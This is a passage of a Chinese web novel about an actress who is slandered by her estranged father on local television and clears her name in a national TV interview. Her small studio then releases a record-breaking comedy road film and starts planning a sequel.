“后来他没收成,还差点丢了工作。你说说这人,没蹭上小苒的光,转头就开始胡咧咧败坏小苒的名声,到处说小苒不孝。” 温长林一家早就搬走了,他这些年给人补课辅导赚了不少钱,在外面买了新房子。 “哼!当咱们这些老邻居都死了吗?他要还在这边住,敢当着我的面说这话,我指定一个大逼兜扇过去!” “我寻思我就纳闷儿了,你当爹的时候不养孩子不给孩子花钱,孩子成别人家的了你倒眼红了?” 杜凌用力点头,“可不?温苒早就让她堂舅收养了,她赚了钱每年都给舅舅舅母买礼物,温苒表哥结婚的时候,她还送了辆轿车呢!” “嚯!小苒可真大方!这孩子记恩!” “也可见这夫妻俩对孩子真不错,孩子才这么念着呢!” 掌握了这些年的情况,两人离开城中村。 回到小区,杜凌把打听到的信儿一五一十告诉大家,一边说一边骂,那叫一个热闹。 温苒蔫哒哒靠在霍骁北身上,一会儿一个哈欠,“所以文雪和赵成宇在一起了吗?” 霍骁北摇头,“不清楚,只知道赵成宇回过老房子。” 当初这人走的时候吃了那么大一个亏,不回来还好,回来就说明他还记着当年的事。 以赵成宇睚眦必报的性格,霍骁北知道,他肯定没憋好东西。【你现在阅读的是 】 70-80 第71章 第71章千禧年影后14 杜凌义愤填膺地问候温长林时,霍青山显得有些心不在焉。 霍骁北倒了杯茶递过去,“爸,工作上遇到问题了?” 霍青山回过神,忙端起茶杯,掩饰性地喝了一口,“没、没有,咳,就是有点不舒服。” 乔丽淑瞥了丈夫一眼,“应该是空调开低,着凉了。你看,我就说别一直开,开半小时就关了,你非不听!” 霍青山举手讨饶,“行行行,那以后都听你的。” 霍青山找借口去厕所,温苒看着他的背影,小声跟霍骁北说:“伯父肯定见过赵成宇了。” 赵成宇对霍青山来说还是不一样的,终归是从小养到大的孩子,之前的失望经过这么多年早就消磨干净。 赵成宇只要露个面,都不用服软,霍青山就把那往些事一笔勾销,又把他当成好孩子了。 周末下午,客厅里播放着电视剧,霍骁北在厨房忙活晚饭,温苒、杜凌和乔丽淑津津有味地讨论剧情。 玄关处传来声响,乔丽淑笑着站起来,“买水果的回来了,我去看看。” 她这边刚走了没几步,就听到霍青山喜悦的嗓音:“丽淑,骁北,快看谁来了!” 乔丽淑不明所以,高声回道:“谁啊?你可别胡乱往家里领人,现在可不一样了,你——” 话音戛然而止,乔丽淑豁然瞪大了眼睛。 霍青山笑着把赵成宇推上来,“丽淑,快看,是成宇回来看咱们了!” 乔丽淑慢慢收起震惊之色,面无表情看着赵成宇。 赵成宇脸上没什么情绪,冷淡地点了点头,目光一转,落在沙发上某个身影上。 恰好温苒这时也好奇地望过去,两人目光交错。 赵成宇眼底闪过得意和嘲讽。 果然,温苒依旧对自己念念不忘,从她身上入手是对的。 温苒没有错过那一闪而逝的嘲讽。 她怀疑,这人回来就是为了显摆炫耀的。 谁都没有说话,气氛一时变得古怪。 霍青山打圆场,“成宇你坐,丽淑,你去给成宇切点水果,再让骁北添几个菜,他们兄弟俩有些年头不见了,待会儿吃饭可得好好聊聊。” 乔丽淑瞥了他一眼,喉咙里发出声短促的冷笑,转身一屁股坐回沙发上,语气相当不客气。 “要去你去,我是你老妈子?还是骁北欠你的啊?” 霍青山有点恼了,孩子好不容易回来一趟,这时候闹什么脾气呢? 他放下东西,重重道:“我去就我去!” 霍青山进了厨房,霍骁北就出来了。 看都没看那边的赵成宇一眼,他边解围裙边说道:“我订一家饭店,我们出去吃。” 乔丽淑拽着温苒和杜凌起来,“也行,我们换身衣服,咱们马上走。” 这时霍青山的声音先传出来,“那敢情好,去外面吃也行!” 紧接着他人出现在厨房门口,面上带笑,期待地看着一群人。 霍骁北转身,挑了挑眉,“爸,是我们,不包括你。” 霍青山愣住,不敢置信地拔高声音,“骁北你什么意思?” 乔丽淑比他还大声,“你吼什么吼?显你嗓门儿大啊?脾气这么大,骁北怎么你了你就发火?” “这日子还过不过?愿意过就过,不愿意过就离!” 霍青山眼里刚冒出来的小火苗,唰一下给妻子这话浇灭了。 他嗫嚅着嘴角,小声道:“成宇好不容易回来一趟……” 霍青山想说让大家给点面子,但面对着妻子儿子和未来儿媳如出一辙的冷漠表情,他默默咽下了这句话。 尴尬的气氛中,赵成宇开口说道:“舅舅,我回来就是看看大家,看到大家过得不错我就放心了,我工作上 还有事,就先走了。” 霍青山顿时顾不上其他,大步走过去,脸上神情着急不舍,“这就走了?那什么时候再有空,我去饭店订一桌,咱们好好聚一聚。” 舅甥俩人一齐往外走,话音很快消失在楼道里。 乔丽淑板着脸,两眼冒着熊熊怒火。 温苒和霍骁北对视一眼。 霍青山未必不清楚,她们都不喜欢赵成宇,但是心里还抱着不切实际的希望,想让她们和好罢了。 霍青山送完人回来,看着沙发上的妻子,沉着脸:“丽淑,我们聊聊。” 乔丽淑蹭地站起来,语气又急又快:“没什么可聊的,这日子你到底想不想过了你拿个准话!” 霍青山一下就急了,过去拉她的手,“我怎么就不想过了?丽淑,你讲点道理!” 乔丽淑猛地挥开他,“那你带他过来做什么?你忘了当年他是怎么污蔑骁北的?你忘了当年他一声不吭不见了踪影,街道里的邻居都是怎么议论咱们的?” 那一年是大学扩招的第一年,赵成宇老大个孩子突然就不见了,妇联、街道办甚至警察都上门去过问,那阵仗闹得不比温苒断亲时小,私下里也是说什么的都有。 霍青山记得啊,怎么不记得? 但、但是,成宇当时也还是个孩子,孩子不懂事而已。 “成宇肯定也后悔了,他回来也是想和我们道歉。” 霍青山干巴巴道了句,试图说服大家。 温苒哼了一声,“没看出来,赵成宇可不像是为了道歉而来,他连声‘舅妈’都没喊。” 杜凌一直旁观着,这时也忍不住了,“叔,我要去别家串门不喊人,我爸能给我俩耳光抡出来。” 而且这还不是一般的串门,那个赵成宇,他可是让霍骁北父母养了十几年呢! 都说生恩不如养恩,这么多年不见,回来直接跪地磕头都不为过。 乔丽淑下巴越抬越高,“你愿意原谅是你的事,我管不着。你想吃饭就和他去吃,别拉着我们一起。我看见他我别说吃饭,我不动手,就已经是念在跟你妹妹的情份上了。” 霍青山:“……” 他扭头试图寻找援军,一一同两个孩子对视,结果都一个意思。 霍青山抹了把脸,语气无奈:“就不能再商量商量吗?” 乔丽淑眉毛倒竖,掷地有声:“好!就商量离婚的事!” 一听这话,霍青山再不敢提。 接下来,温苒三人很是欣赏了一番中年男人讨好媳妇儿的戏码。 一大早,杜凌下楼来讨论工作,“学校那边的地卖给了开发商,说要建新楼盘,咱们得再找个别的地方拍了。” 温苒正在整理这些年的作品,有已完成未完成以及还只是个想法的剧本。 她回道:“就是给租我也不要租,开口就是两个月要五万,我又不是冤大头。” 五万她们当然拿得出来,只是不想吃亏而已。 杜凌挠头,“那咱们是换个地方?还是换个剧本?” 温苒低头翻出几沓来递过去,“咱们刚起步,依我看可以先奔着票房去,把钱赚到手再考虑拿奖的事。” 既然这样,最好是拍一部成本低回报高的电影。 杜凌边翻边说:“票房高的都是商业片,现在电影圈里都很看不起商业片导演,骁北以后拿奖就难了。再说,商业片需要的投资都高。” 温苒摇头,“时代在发展,谁还能和钱过不去?以前都不让私人拍电影,现在还不是合法了?” 杜凌想了想,“恐怖片的碟片一般都卖的不错,很难亏钱,这个成本也很低。” 影史上许多经典恐怖片是以小博大的典型,成本低、拍摄时间短,收益却超高。 不过那是在国外,国内独立电影刚刚起步,老百姓对题材的接受程度,在深度和广度上普遍还不高。 “你挑一个喜剧。”温苒说道。 华国老百姓还是更喜欢喜剧题材,无论电影电视剧还是春晚小品,这个题材在国内有着深厚的土壤。 换言之,就是有基本盘。 杜凌犹豫着挑出一张纸,上面只写了个开头:《上路》。 他交给霍骁北,霍骁北看了眼,“可以,公路题材,需要再找一个中年男演员。” 这是温苒的剧本,她立刻拿去扩充剧情。 霍骁北和杜凌去寻找演员。 要求:价格便宜,演技精湛,中年男演员。 这个要求看着不高,但挺难找的。 中年男演员,演技好的早就火了,不缺戏拍,而演技不好的早就转行了。 更别说他们这剧组名不见经传,导演刚毕业,编剧是个演员转行,搭档的男演员只拍过两部电视剧,这片子怎么看怎么透着糊味儿。 简而言之,根本没人来。 温苒改好剧本,揉着眼睛说道:“去工地或者影视基地找一找,另一个角色是农名工。” 梁海市同省内就有一个影视基地,转天三人开车飞奔过去,最终在一个工地找到了合适的‘演员’。 “你们真的愿意给俺娘出药费?” 街边的苍蝇小馆里,程前进呼噜呼噜吃完三份盒饭后,搓着手,小心翼翼抬眼,看向对面的三个年轻人。 杜凌摇头,“叔,不是我们出药费,是我们聘请你出演我们的电影,五千块钱是您出演电影的报酬。” 程前进黝黑的脸上闪过茫然,他舔了舔干裂的嘴唇,“俺不懂,俺不会演。” 杜凌沉默了。 程前进却坐不住了,“俺、俺,你们几个不是要骗俺吧?” 他拨浪着脑袋,手臂环着身体缩成一团,“俺没钱!俺没钱的!” 温苒看了眼这叔,问道:“叔你还要来一份盒饭吗?” 程前进想也不想,“要!” 杜凌嘴角抽了抽,“我们骗您图什么?图您饭量大吗?” 程前进挠头傻笑,“那俺饭量大不能怪俺,得怪俺娘俺爹,是他们把俺生的这么能吃的!” 温苒弯起眉眼笑了,“叔你如果演我们的电影,拍摄期间包吃包住,饭管饱。” 程前进听得眼睛亮了。 温苒继续:“我们预支您五千元,拍完看效果发奖金,绝对不会比您在工地干活赚得少。” 程前进眼睛更亮了,但下一秒又暗下来,“俺真的不会演戏,给俺再多钱也不会演。” 杜凌劝他,“就试试呗,你来试试,我们照样付钱。” 程前进心动一秒,还是摇头,“可俺不能离开工地。” 霍骁北这时道:“如果你被工地开除,我们可以帮你安排另一份稳定工作。” 程前进想也不想,“你说的俺信!俺愿意!” 温苒&杜凌:“?!” 凭什么霍骁北说的你就信? 程前进傻笑,“俺也不知道为啥,俺看着这小伙子就觉得可靠,他肯定不会骗俺。” 温苒&杜凌:“……” 刚才白费那么多口水,终究是错付了! 程前进是温苒看中的演员,当时在小卖铺门口,她只看了一眼,就知道这是【马成功】。 故事发生在春节前,大学生杨宝男和农民工马成功错过火车,为了回家不得不选择更费时费钱的路线和交通工具。 然而钱花了,大巴车却在中途抛锚。 归程再次出现意外。 杨宝男花钱雇拖拉机带自己进城坐车,马成功死皮赖脸蹭上车子。 被发现后马成功不想掏车费,于是献出自己给老父亲买的白酒。 不幸的是,司机当场喝下白酒,却遇到交警,因酒驾三人被拦下带回派出所。 杨宝男埋怨马成功,马成功只一个劲心虚点头哈腰。 好不容易从派出所出来已经是晚上了,杨宝男在小镇上开了间房,马成功继续死皮赖脸想跟进旅馆。 旅馆有规定,单人房只能有一位客人。 杨宝男厌烦马成功,独自进旅馆。 谁知半夜,马成功却爬上三楼,推开窗进了房间。 杨宝男被吵醒后气急败坏,要下楼举报马成功,马成功拦住他,让他检查自己的行李。 杨宝男检查完行李,竟然发现电脑和钱包都不见了? 马成功告诉他,这是一家黑店…… 杨宝男和马成功,一个光鲜亮丽的大学生,一个社会底层的农民工,性格鲜明迥异,为了回家这同一个目标而努力,却总会因为这样那样的意外距离目标越来越远。 有时是马成功拖后腿,有时是杨宝男拖后腿。 马成功抠门斤斤计较,看起来无知愚昧,嘴上也总说读书无用,但热情心肠好,总在紧要关头大展神威。 杨宝男长相帅气出手大方,看起来聪明,但经常在自作聪明,每次到了关键时候都会退缩到马成功身后。 就这样一路吵吵闹闹,两人费劲千辛万苦,历经九九八十一难,终于回到老家。 而在这一路中,两个年龄背景截然不同的人成为了坚实的朋友。 马成功知道了知识的重要性,不仅继续让孩子读书,他自己也开始读报看书。 杨宝男知道了人不可貌相,他书虽读得多,但也只是书读得多,人生这条路上他还有得学。 不只是电影里的两个角色,电影之外,杜凌一次次为程前进的精湛表演所折服。 好的演员一看天赋,二 看阅历。 显然程前进本色出演,在阅历这一点上将杜凌秒杀。 杜凌也来劲了,拿出最好的劲头拍每一场戏。 公路文角色少,拍摄时间短,将将一个月工作室就拍完了所有镜头。 电影拍完,霍骁北给程前进重新找了家工地。 也是没办法,程前进坚持工地赚钱更多,虽然工地更累。 拍完电影三人回了梁海市,大街小巷都在议论影后温苒不孝父母的新闻。 两家人都气得不成样子。 乔丽淑还和霍青山找到温长林的学校骂了一架。 “他怎么敢的?他脸呢?”乔丽淑愤怒地拍桌。 温苒一手托腮,思考到底是谁让温长林这么做的? 文雪? 还是赵成宇? 其实这两者也没有差别。 报纸连登一周‘温苒不孝’后,梁海市电视台出手了,他们邀请了温长林一家去做专访。 温苒接到一个来自华阳电视台的电话,对方是以前采访过她的女主持人。 “之前赵氏的员工来电视台谈赞助,想在总台给你父亲做个专访,还好我们经理拒绝了,还让我通知一声。” 破案了,是赵成宇。 上来就想在总台给她造谣,她招谁惹谁了? 杜凌嗤笑,“这什么赵成宇,真以为赵家能一手遮天了,想干什么干什么?他到底知不知道,你,温苒,是咱们华国第一位也是唯一一位国际六大电影节大满贯的影后!” 不夸张的讲,温苒现在走出去,就是华国文艺界在国际上的脸面。 总台难道是什么草台班子吗? 明知道温苒的地位,还要故意抹黑她? 杜凌更看不起的是梁海市电视台,“还是咱们老家的电视台呢,这么拎不清,你这个影后别的地方盼都盼不来,市电视台倒好,主动给抹黑。” 电视台内部的风向自然不可能一边倒,不是谁都没有脑子,还是有明白人知道不可为的。 但预告都放了,温苒那边得罪死了,不播出能怎么办? 节目在周六晚黄金档播出,电视剧都不播了,就播这个专访。 节目里,温长林声泪俱下,哭诉温苒不孝顺。 “她不孝顺我不跟她计较,谁让我是她爸呢?我欠她的!” “可她怎么能那么狠心?她污蔑她弟弟,她抢她弟弟的东西,她还在她弟弟的学校散播谣言,让同学们都孤立她弟弟!” 董秀英低头抹泪,“继母难做,我一直都知道。” 她对着镜头苦笑,“温苒没拿我当继母,她说我只是家里的保姆,还是免费的保姆,平时就随意使唤我的两个孩子……” 温冬没来,不知道是他自己不想来,还是这两口子想保护儿子。 出乎意料的是,文雪竟然也在? 一身白裙,长发飘飘,打扮得楚楚可怜的文雪红着眼圈安慰人,“爸,妈,你们别伤心,你们还有我呢,我会孝顺你们的。” 节目之后,各大报纸对温苒口诛笔伐的阵势更上一层楼。 舆论发酵,竟然连全国范围内的大报纸都开始报道。 一顶不孝的帽子扣下来,温苒的名声立时在老百姓心里一落千丈。 温苒知道时机到了。 收拾收拾,三人回了长京,直奔华阳电视台。 一周后,华阳电视台发布预告,会为温苒做一次专访。 华阳电视台是国家总台,每天固定的新闻速播和天气预报可以说是收视率最高的节目。 而温苒的专访时间就安排在天气预报之后。 预告出来后,不论看没看过报纸的都起了好奇心。 “是温苒!咱们国家的第一个国际影后,还是六大电影节满贯的影后,听说国外都没几个呢,这姑娘小小年纪就为国争光,真厉害!” “那待会儿咱们就看这个,反正电视剧明天也会重播。” “是温苒啊!报纸上说这姑娘不孝顺,她亲生父亲出面指责,真想不到她是这样的人?有艺能无艺德!” “啊?这样的人怎么能上总台?” “……这,可能是想当和事佬,让温苒认错道歉吧?” “那就看这个吧,我倒要看看温苒怎么道歉,不满意我就给总台打电话反映!” 温长林的同事都来问他,“老温,你女儿要和你道歉了?你原不原谅她?” 温长林满面茫然,“啊?” 同事惊奇,“你不知道?总台都放了预告的,明天天气预报后,总台会给温苒做专访。” 温长林听见这话,心里就是一个咯噔,然后心跳越来越快越来越快,汗也越出越多。 他终于想起来了,温苒这妮子从来就不是吃亏的性子,她去总台接受访谈,肯定不会放过他的! 温长林匆匆离开学校,回家找文雪。 文雪不在,他朝董秀英大吼:“你不会打电话啊?你让她回来!赶紧滚回来!出大事了!” 董秀英皱着眉沉下脸,回屋里给女儿打电话。 一连几个,都打得通,但没人接。 而此时,文雪的手机躺在沙发缝隙里,文雪这个主人躺在酒店的床上,正在和赵成宇翻云覆雨。 事了后,文雪靠在赵成宇的怀里,“成宇哥,这次多谢你帮忙,我才能进电视台工作。” 赵成宇闭着眼嗯了声,“举手之劳。” 文雪红着脸低头,“对成宇哥来说是举手之劳罢了,像我,再怎么努力也没用。” 赵成宇对文雪的恭维仰慕很满意,但她脑海里闪过的却是一张冷淡的脸蛋。 温苒。 比起温苒,文雪还是差远了。 访谈播出时,这两人还在酒店里,全然不知外面舆论风向骤变。 节目正在一一讲述—— 温苒刚出生时,曾在温长林的默许下被奶奶抱走送人。 温苒是由她母亲一手养大的,从没花过温长林一分钱。 反而是温长林,霸占温苒母亲留给她的存折,还把存款都花在了董秀英母子三人身上。 温苒曾经是舞蹈生,考试之前被文冬推下楼梯,伤势严重再不能跳舞,不得已才报了表演系。 温苒受伤后,温长林不闻不问,医药费都是邻居帮忙垫付的。 温苒的遭遇被堂舅堂舅母知道,两口子主动进城收养温苒,所以温苒早就和温长林没有了关系,她的父母现在是堂舅和堂舅母。 诸如此类,有当年收养的证明,有温长林代文冬赔偿的文书,还有邻居们、派出所警察和高中老师同学们的采访作证,可比温长林空口白牙可信得多。 看得观众们两眼冒火。 什么温苒不孝? 明明是温长林不配为人父! 第72章 第72章千禧年影后15 看过报纸并因此深信报道的观众怒了,其中有因心疼温苒对温长林产生的怒火,但更多的却是被欺骗的怒火! 他们难道是傻子吗? 没看过报纸的多是可怜同情温苒,并唾骂温长林是个人渣。 温苒的经历总结起来就是妥妥的美强惨。 美强惨,就算放在后世层出不穷的热门人设中,都是足以角逐排行榜TOP1的存在。 经过这场风波,温苒不仅收获一大波同情,路人缘和知名度还更上了一层楼。 访谈之后,一夜间全国都在谈论温苒可怜的身世。 “这孩子太可怜了,叫人推下楼梯,这得亏是只伤了腿,伤了脑袋那还活得了吗?” “都是狗屁记者狗屁电视台!不调查净瞎写!害我之前误会人家小姑娘!” “看来这报纸电视台上的报道不是都可信,往后可得擦亮眼睛,不能让它们牵着鼻子走!” 因温苒先被污蔑后又澄清一事,老百姓对媒体的信任度直线下降,现在也唯有总台还在屹立不倒。 其中最倒霉的要属梁海市电视台和梁海市本地的报纸。 老百姓们围到电视台要说法,扔臭鸡蛋骂街的比比皆是,闹得台长不得不亲自出面道歉。 给温长林访谈的剧组从制作、策划到导演主持人无一例外都被记过开除。 还有因为此事进入电视 台的文雪,被查出是走后门进入的,电视台利索地记档开除。 本地的几家报纸销量一降再降,十分惨淡,报社门口都叫激愤的群众泼了大粪,每天都臭烘烘的。 先前报道过的全国性大报纸也没有幸免于难,销量、口碑、公信力都遭受到了毁灭性的打击。 而温长林本人下场自然更惨。 他被学校开除丢掉编制工作,校外补习的课堂也没有学生再来。 他指望养老的宝贝儿子温冬,这次真的因为他,在学校里被同学排挤。 温冬不顾马上要高考,躲在家里玩游戏看小说,说什么也不去上学。 董秀英交好的姐妹也纷纷和她断绝来往。 文雪被电视台开除,只能更努力巴结着赵成宇。 但赵成宇本来就花心,身边不只有她一个女人,文雪只能苦心费力地开始争宠。 这一家四口可谓是处处不如意,事事不顺利,出门遭人白眼,在家就是哐哐干架争吵,楼上楼下天天看热闹。 十二月初,凌云工作室自制的第一部电影《上路》正式上映。 这部电影投资不过十万,可谓真正的小成本。同时按照时下的票房分成来算,票房超过二十万就能回本。 《上路》的主创都是刚毕业的学生,里面名气最大的是编剧温苒,但温苒有名气是因为她的演技,跟编剧可没有半点关系。 总结起来就是:导演初出茅庐,演员不扛票房,编剧演员转行,怎么看怎么不行。 院线一开始给出的排片只有3%,还都是深夜场和凌晨场。 霍骁北和温苒兵分两路,去各大影院亲自谈排片。 戏剧学院这几年也不是白读的,两人攒的人脉不知凡几。 霍骁北:“师兄,你看过片子,我信师兄的眼光,10%的排片应该不算高。” 温苒:“白谈白编剧您知道吗?是的,我是他半个徒弟,剧本他看过,片子您看过,15%的排片,一半在白天,一半在上半夜,这个月档期里的电影热度一般,《上路》不会让您失望的……” 杜凌没去,他既没名气,也没人脉,他倒是能拉下脸来,但他可是片子的主角,老老实实搁家里待着吧。 温苒前脚谈好,后脚就接到白谈的电话。 白谈嗓音沉沉:“我怎么不知道你成我徒弟了?还打着我的招牌出去招摇撞骗!哼!” 温苒清清嗓子,“您不是指点过我的剧本么?勉强也算是有过师生情分,我只是夸大了事实而已,并没有骗人。” 白谈:“……” 白谈冷哼,“花言巧语!哼!剧本呢?快拿来给师父看看!” 温苒就知道他不会生气,笑眯眯说道:“师父,我也不在长京,剧本您一时半会儿是看不到了,我们的电影下周一上映,您倒是可以去看看。” 白谈在电话里跳脚,直说温苒是个滑头是个抠门,给师父交作业还要让师父掏钱。 周一上午,各大影院都摆上了《上路》的海报。 海报并非是剧照,而是夸张的动漫图。 杨宝男和马成功肩扛手拎,表情狰狞地追赶火车。 而在他们身后,一个个小副本里的标志,像拖拉机、宾馆、驴车、大肥猪等等也都拟人化地表现出了各种情绪,对两个人进行围追堵截。 每个看到海报的人总会下意识发出爽朗的笑声,然后产生好奇—— 这俩人是错过火车了吗? 后面那些东西为什么会追赶他们? 猪也就算了,宾馆的大门竟然像一张大嘴,看起来怎么那么吓人? 电影名叫《上路》,这是要上啥路啊? 一旦产生了好奇,掏钱就不可避免。 买了票,进了场,然后就一发不可收拾。 影厅里的观众从第一幕就开始笑,笑的脸都僵了,肚子都抽筋了,还是停不下来。 《上路》周一开始上映,工作日五天的票房就呈现势不可挡的逆跌态势。 到双休日时,周六影院的观众几乎都是冲《上路》而来,院线紧急增加排片,几乎是加多少场卖空多少场。 仅周六一天,粗略统计出来的票房就达到八百万! 周日,单日一千一百万! 各大报纸电视台纷纷开始报道:这是国产电影首次单日票房超一千万! 《上路》破纪录了! 在正向舆论加持下,《上路》的票房在第二周更加耀眼。 第二周,周票房四千万! 第三周,票房竟丝毫不显颓势,和刚引进的国外大片打得有来有回,最终收获票房四千五百万! 第四周,四千二百万! 第五周是元旦档期,和春节档、五一档、国庆档一样,是国内电影最重要的几个档期。 霍骁北早就接到院线方的电话,那边说什么也要延长放映。 《上路》的热度明显还没过去,许多观众都来二刷三刷,元旦假期估计还会迎来一波峰值,院线方当然不会放过这块肥肉。 元旦加映三周,《上路》不负众望,第一周竟然爆发出了五千万的票房,第二周三千八百万,第三周三千六百万。 直到下映的周日,单日票房甚至都还能达到八百万! 《上路》总票房两亿九千万! 这个数字再次破纪录,是迄今为止国产电影最高票房。 杜凌现在每天不见人影,据下来唠嗑的杜爸杜妈说:“这孩子精神都有点不正常了,躲房间里不出来,昨天半夜滋哇乱叫,让他爸抽了一顿才安静下来。” 杜妈叹气,“现在我都不敢领好姐妹来家里,人家还说呢,要给杜凌介绍对象,现在杜凌这副鬼样子,我可不敢应下来,我怕丢人!” 《上路》票房一再破纪录,足可见老百姓多喜欢。 身为工作室的合伙人和电影的主角之一,杜凌得到的好处无疑是最多的。 仅凭一部电影他就走进了千家万户,被广为人知。 现在班里除了温苒,名气最大的就得数杜凌了。 这种一步登天的感觉,心性一般的话都扛不住。 一连好些天都这样,杜爸怕孩子出事,让保镖把杜凌架下来,“骁北,小苒,他就交给你们了,怎么来都行,让他正常点。” 杜凌眼睛里冒着血丝,神情亢奋,“我的天!咱们赚了一亿!我这辈子可以躺平了!” 温苒:“……” 啊这…… 不是因为出名亢奋,是因为钱…… 不过想想也有道理,杜家挺富有,但应该还没摸到八位数,而且杜爸杜妈给杜凌的零花钱并不多,杜凌真没有一下子见过大几千万。 霍骁北泡了壶茶,和温苒坐在一起。 他看向对面胡子拉碴的人,嫌弃道:“回家洗洗再下来,商量工作室下一步的发展。” 杜凌呆呆地上楼去了。 温苒跟霍骁北说:“老师让我尽快回长京,他说有个本子想让我看看。” 白谈看过电影后满意的不得了,还到处吹嘘他新收的‘小徒弟’,之后票房一再破纪录,现在圈子里没人不知道‘编剧温苒’原来真的是‘影后温苒’? 自然有人夸就有人贬。 《上路》票房成功,这只能说明它是一部成功的商业片,但就深度来说相当浅薄。 俗气、粗糙、浅薄、土气、没有内涵、没有深度…… 诸如此类的评价数不胜数。 霍骁北开小号给杂志投稿,自己夸自己夸温苒。 “《上路》票房破纪录后,许多业内人士分析背后的原因,但究其原因只有一个:老百姓喜欢。” “艺术不只有阳春白雪,曲高和寡,老百姓喜欢的也是艺术。” “杨宝男是大学生,马成功是农民工,他们既是《上路》的主角,也是老百姓身边的人。荧幕内外观众和角色互相熟悉,有共鸣,有理解……” “艺术来自生活,生活就是艺术,而艺术无有高低。” 这篇文章被权威媒体转载,诸多作家陆续发声支持,甚至还上了新闻速播。 老百姓们听到那句‘老百姓喜欢的也叫艺术’,都不禁纷纷点头。 对啊!对啊! 但白谈还是不服气,他在给温苒的电 话里,对那些抨击电影的人大批特骂。 “他们就是嫉妒!” “吃不着葡萄说葡萄酸!” “你来,我正好有个本子,你来给改一改,咱们拍出来拿奖,我看谁还敢说我徒弟的剧本没有深度?!” 温苒吃惊后仰,奖是那么好拿的吗? 然而白谈这老头儿性子一贯执拗,温苒不答应,他就一天三个电话催促。 “也是公路题材,我没写过我拿不准,这不就想到你了?” “人导演也说了,只要你来,这电影就叫《上路2》!” 温苒:“……” 《上路》那么火,叫《上路2》很亏吗? 而且《上路》是凌云出品的电影,《上路2》谁来投资?凌云吗? 白谈这老头不老实,嘴里没一句实话,净想着坑她呢。 但白谈说了导演的名字,温苒一下就迟疑了。 卢卓锦,也是第六代电影导演。 卢卓锦、百里宣桂和冯飞都是第六代电影导演,后两个来自中心影视学院,还是同班同学,卢卓锦则毕业于长京戏剧学院。 说起来,卢卓锦、温苒班任邢玉洁的丈夫李一帆、霍骁北班任康佑生三人,当年还是同寝的舍友。 卢卓锦很擅长拍女性题材,往前往后数恐怕都再难找出这样一个导演。 温苒正好有一个想法,《上路2》或许真的可以。 可如果她去拍《上路2》,工作室接下来的计划就没办法再参与了。 等杜凌收拾好下来,温苒直接告诉他:“工作室下一步有两个投资,一部电视剧,以及《上路》的续集。” 杜凌瞬间睁大眼,“这么快就拍续集?程叔那边联系过了吗?他答应没有?” 电影火了程前进当然也火了,工地待不下去,他干脆回了老家。 霍骁北要再给他一笔钱,程前进说什么也不要,他还说他老母的病是她们救的,他得记恩,他现在出名了,回家以后打算开个小超市,肯定不愁卖货。 霍骁北:“不是你们拍,是另外找人,你来拍电视剧。” 杜凌惊了,他不服气:“啊?怎么、怎么就不拍我们了?我们演得这么好!” 温苒把续集的点子告诉他,“下一部全女题材,你演什么?演车吗?” 杜凌:“……” 温苒接着说:“《上路》火了,续集的风声出来所有人都会盯着,不拿点新东西,只会像国外大片一样吃老本,一部不如一部。” 杜凌一声不敢再吭了。 但他心思显然还在电影和票房上,跟他提别的他都是一耳朵过一耳朵出。 所以得给他找点事情做。 温苒翻出一沓厚厚的剧本甩过去,“咱们工作室的第一部电视剧拍这个,权谋题材,需要的演员都在上面写着,你和霍骁北负责找全。” 杜凌翻开一看,噗通—— 从凳子上掉下去了。 温苒:“……” 杜凌爬了上来,扒着桌边,面目狰狞地嘶吼:“我又不是神仙!我怎么请他们?” 看看上面都是谁吧? 皇帝,高华胜,总台华阳电视台历年开年大戏收视率前十占六的男主角!全国老百姓家喻户晓! 高华胜的地位的名气,就是所有男演员奋斗的终极目标,那是能轻易请来的吗? 还有还有,后面石毅中,李爱国…… 个个都是大佬,非正剧不演。 温苒微笑看他,“世上无难事,你不去请一请怎么知道请不到?” 杜凌崩溃抓头发,“我会被丢出制片厂的……” 温苒继续微笑:“撒泼、耍赖,你可以的。” 杜凌绝望地抬头,看向霍骁北:“北哥!” 霍骁北摇头,“我要去找师公,借他的班底拍。” 温苒打破杜凌最后一丝幻想,“上次是我和霍骁北跑排片,这次轮到你了,你可是两亿男主!你放心,你绝对不会被制片厂丢出来的!” 春节后,三人离家上京,先回学校转了一圈。 周可毕业后选择了留校,邢玉洁继续带班,温苒和她们俩在一起聚餐,打听了打听圈里的女演员们。 “怎么?要拍新电影了?”邢玉洁关心。 温苒点头,“《上路2》,师父介绍的卢导,我还没和卢导见面。” 邢玉洁笑了,“你的剧本肯定错不了,卢卓锦最擅长拍女性题材,你们俩在,这电影我看可以奔着拿奖去了,到时候来学校挑演员啊。” 周可点头,“我们班有几个学妹还不错。” 自家人嘛,总得先照顾自家人。 霍骁北去找李一帆借班底加取经。 杜凌苦哈哈去制片厂,那边还以为他来自荐面试的,结果一群人就见他蹲、追、堵、截、抱大腿了…… 脸面什么的,杜凌彻底抛弃了,好不容见到高华胜一面,他噗通坐在地上,抱着对方大腿开始嚎:“叔——叔你给我个机会——你就看看我们的剧本你就看一眼叔——” 那阵仗那嗓门大的,几乎把整个制片厂的人都吸引过来。 高华胜:“……” 他真是,他到现在连开口都没开,抢话都抢不到,这孩子倒是听听他怎么说啊? 在自己助理和高华胜经纪人的连番劝说下,杜凌才停止嚎叫。 杜凌仰头,两眼放着光,“叔!你答应了?” 高华胜:“……” 这孩子脑子有点问题吧? 不管怎么说,杜凌得到了让高华胜赏光一观剧本的机会。 高华胜倒是对剧本挺满意,但他不怎么满意导演,他回头,“我认识挺多不错的导演,这个剧本可以交给他们来拍。” 他不认为一个初出茅庐的导演可以拍好这样深度的剧本,即便这个导演拍出了破纪录的电影。 杜凌搬着凳子堵在门口,“可是叔,这个剧本是温苒写的,温苒你知道吧?咱们华国第一个国际影后,第一个国际电影节大满贯影后,《上路》剧本也是她写的。” 高华胜微微睁大了眼睛。 杜凌继续:“您还别不信?我们就是个草台班子,那些好剧本就是掏钱买也买不到,就只能自己写。” “温苒能写剧本,骁北也能写,温苒现在和卢导合作准备《上路2》,剧本交给了骁北,拍的时候有修改的地方他来改。” 他嘚啵嘚一顿说,高华胜和经纪人既沉默又无语。 你倒是停一下,给我机会问一问啊? 杜凌说累了,最后道:“叔,我、我爸妈我爷奶我姥姥姥爷,我们全家我们全小区都可喜欢您了!” 高华胜:“……” 谢谢,但是,“我再考虑考虑吧。” 他对导演实在没什么信心。 杜凌闹着要了电话,“叔,那咱们常联系。对了,您认识石叔和李叔他们吧?您看您能不能给个联系方式,或者您告诉几位叔的住址我去家里拜访一下?” 高华胜闭眼,他真的不想被朋友们拉黑。 温苒这边,终于和卢导见了面。 